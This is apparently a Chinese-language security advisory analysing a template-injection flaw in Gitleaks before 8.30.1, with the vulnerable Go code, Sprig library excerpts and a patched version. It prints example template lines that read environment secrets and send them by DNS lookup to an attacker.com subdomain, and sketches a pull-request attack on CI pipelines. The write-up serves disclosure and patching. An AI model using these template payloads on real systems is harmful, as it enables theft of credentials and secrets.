Gitleaks报告模板模板注入漏洞CVE-2026-63728
Gitleaks 是Go开发的代码敏感信息扫描SAST工具,能扫描当前代码,还能完整遍历Git全量历史提交,挖出多年前误上传的机密内容。
一、基本情况
Gitleaks 专门检测Git仓库、本地文件里硬编码泄露的密钥、凭证,以防止API密钥、数据库密码、SSH私钥被提交入库造成安全事故。

Gitleaks内置80+套预设正则规则,覆盖阿里云、AWS、GitHub、数据库、JWT令牌、证书私钥等服务密钥;结合正则匹配+熵值分析。
栋科技漏洞库关注到 Gitleaks 8.30.1 之前的版本的报告模板模板注入漏洞,现在已经被追踪为CVE-2026-63728,CVSS 3.X评分6.3。
二、漏洞分析
CVE-2026-63728是Gitleaks的报告模板功能中发现一处漏洞,攻击者可借助DNS隧道窃取环境变量与各类密钥,已在v8.30.1版本修复。
该漏洞根源在于程序引入了Sprig模板库中的非纯函数,该安全漏洞源于Gitleaks会执行模板渲染流程,按照自定义格式输出扫描结果。
Gitleaks 8.30.1 之前的版本在 report/template.go 的 NewTemplateReporter 中,
通过 sprig.TxtFuncMap() 注入了 env、expandenv 与 getHostByName 三个非密封模板函数,
使能影响 --template-path 模板内容的攻击者读取进程环境变量与扫描新发现的明文密钥,并经 DNS 子域名外泄到攻击者控制的域名。
受影响版本中,artifact 标识为 github.com/zricethezav/gitleaks/v8(语言 go,仓库 go),受影响版本区间为 [*,8.30.1);
report/template.go 的 NewTemplateReporter 在解析用户通过 --template-path 传入的模板文件时执行 t = t.Funcs(sprig.TxtFuncMap()),
将 Sprig 库通用 FuncMap 中直接代理,到 os.Getenv 与 os.ExpandEnv 的 env、
expandenv 与调用 net.LookupHost 发起 DNS 解析的 getHostByName 一并暴露给 text/template 执行环境,
攻击者据此可在模板中写 {{ env "AWS_ACCESS_KEY_ID" }} 读取主机进程密钥,
并通过 {{ getHostByName (printf "%s.%s.attacker.com" $k $v) }} 把值编码进子域名完成外泄,
并可在同一模板内通过 {{ range . }} 遍历 Finding 切片将扫描新发现的明文密钥一并经 DNS 传出,
对运行 gitleaks 进程的机密性造成严重破坏。
(一)漏洞成因
首先查看report/template.go文件代码:
func NewTemplateReporter(templatePath string) (*TemplateReporter, error) {
if templatePath == "" {
return nil, errors.New("template path cannot be empty")
}
file, err := os.ReadFile(templatePath)
if err != nil {
return nil, fmt.Errorf("error reading file: %w", err)
}
templateText := string(file)
// TODO: Add helper functions like escaping for JSON, XML, etc.
t := template.New("custom")
t = t.Funcs(sprig.TxtFuncMap())
t, err = t.Parse(templateText)
if err != nil {
return nil, fmt.Errorf("error parsing file: %w", err)
}
return &TemplateReporter{template: t}, nil
}
t = t.Funcs(sprig.TxtFuncMap())
这行代码看起来是关键,借助Cursor工具查阅该库后,发现它对外暴露的核心函数并不算多,相关函数定义如下:
func FuncMap() template.FuncMap
func GenericFuncMap() map[string]interface{}
func HermeticHtmlFuncMap() template.FuncMap
func HermeticTxtFuncMap() ttemplate.FuncMap
func HtmlFuncMap() template.FuncMap
func TxtFuncMap() ttemplate.FuncMap
查看TxtFuncMap()函数内部包含的模板函数时,发现其中存在一些和模板场景格格不入的函数,
比如读取环境变量的env函数、域名解析的getHostByName函数。
该库还提供了限制更严格的函数集合,例如HermeticTxtFuncMap()。
如下方代码所示,HermeticTxtFuncMap()内部会移除大量存在安全风险的模板函数。
HermeticTxtFuncMap()函数相关代码:
var nonhermeticFunctions = []string{
// Date functions
"date",
"date_in_zone",
"date_modify",
"now",
"htmlDate",
"htmlDateInZone",
"dateInZone",
"dateModify",
// Strings
"randAlphaNum",
"randAlpha",
"randAscii",
"randNumeric",
"uuidv4",
// OS
"env",
"expandenv",
// Network
"getHostByName",
}
//....
// HermeticTxtFuncMap returns a 'text/template'.FuncMap with only repeatable functions.
func HermeticTxtFuncMap() ttemplate.FuncMap {
r := TxtFuncMap()
for _, name := range nonhermeticFunctions {
delete(r, name)
}
return r
}
接下来开始理清心中剩余的疑问:getHostByName()、env()这类函数的实际作用是什么?先从getHostByName()说起:
getHostByName()函数:
func getHostByName(name string) string {
addrs, _ := net.LookupHost(name)
//TODO: add error handing when release v3 comes out
return addrs[rand.Intn(len(addrs))]
}
该函数内部调用了LookupHost()。接下来看一下env()函数:
env()函数:
// OS:
"env": os.Getenv,
"expandenv": os.ExpandEnv,
// Network:
"getHostByName": getHostByName,
该函数直接定义在通用函数映射表中,底层调用os.Getenv(),模板中内置env、expandenv、getHostByName这类函数带来安全隐患。
三、POC概念验证
(一)在模板中恶意调用上述高危函数,梳理出两种攻击方式:
方式一:窃取环境变量
顾名思义,借助env()函数枚举Gitleaks扫描服务器上的环境变量(各类密钥、凭证、AWS密钥等)。
一旦读取到有效环境变量,就通过getHostByName()发起DNS查询,将变量值外传。
方式二:窃取扫描命中的敏感数据
执行Gitleaks密钥扫描时,模板能够直接读取扫描识别出的全部机密内容。
因此同样可以利用getHostByName()函数,把扫描到的密钥通过DNS隧道泄露出去。
下面给出整合两种攻击手段的恶意模板:
管理员已设置登录后刷新可查看模板里存在一些复杂逻辑,比如b32enc函数。
之所以使用该函数,是因为需要借助域名外传数据,必须保证密钥内容不含域名非法字符,同时规避域名长度限制。
因此用Base32对密钥编码,必要时再分段处理。
如果使用者按下面的命令加载该模板执行扫描,其服务器内的所有密钥都会通过DNS泄露至攻击者手中:
管理员已设置登录后刷新可查看强烈建议大家仔细检查正在使用的模板文件内容,如果正在使用该模板功能,请将Gitleaks升级至最新版本。
使用恶意模板扫描secrets.txt文件的效果:

>
查看协作平台记录:

将子域名进行 Base32 解码:

还有一种理论上可行的攻击方式,但尚未实测验证,在此记录下来以备后续测试。
如果你的GitLab/GitHub流水线在提交PR、合并代码时会自动运行Gitleaks扫描,那么只要有人提交拉取请求,扫描任务就会自动触发。
若流水线的Gitleaks任务引用template.tmpl这类外部模板文件,攻击者可提交PR覆盖该模板,读取仓库代码本身无法访问的环境变量。
存在此类部署场景的用户请尽快升级工具。
(二)下面介绍漏洞修复方式。
我们发现HermeticTxtFuncMap()会移除大量非必要模板函数,但其中包含date()、now()这类用户高频使用的函数。
如果直接用HermeticTxtFuncMap()替换原有的TxtFuncMap(),会导致现有合法模板失效,因此采用折中修复方案:
保留TxtFuncMap()作为基础函数集,手动移除文中提到的高危函数:
func NewTemplateReporter(templatePath string) (*TemplateReporter, error) {
if templatePath == "" {
return nil, errors.New("template path cannot be empty")
}
file, err := os.ReadFile(templatePath)
if err != nil {
return nil, fmt.Errorf("error reading file: %w", err)
}
templateText := string(file)
// TODO: Add helper functions like escaping for JSON, XML, etc.
t := template.New("custom")
funcMap := sprig.TxtFuncMap()
delete(funcMap, "env")
delete(funcMap, "expandenv")
delete(funcMap, "getHostByName")
t = t.Funcs(funcMap)
t, err = t.Parse(templateText)
if err != nil {
return nil, fmt.Errorf("error parsing file: %w", err)
}
return &TemplateReporter{template: t}, nil
}
该方案在移除恶意高危函数的同时,保持了现有模板的正常兼容。
这是十分典型的特殊安全案例,因此分享出来给大家参考,项目中引入sprig这类第三方库时,务必完整掌握其对外暴露的全部功能。
若你的项目正在使用sprig库的TxtFuncMap(),强烈建议仔细复核其使用场景与安全边界。
四、影响范围
Gitleaks<8.30.1
五、修复建议
Gitleaks ≥ 8.30.1
六、参考链接
管理员已设置登录后刷新可查看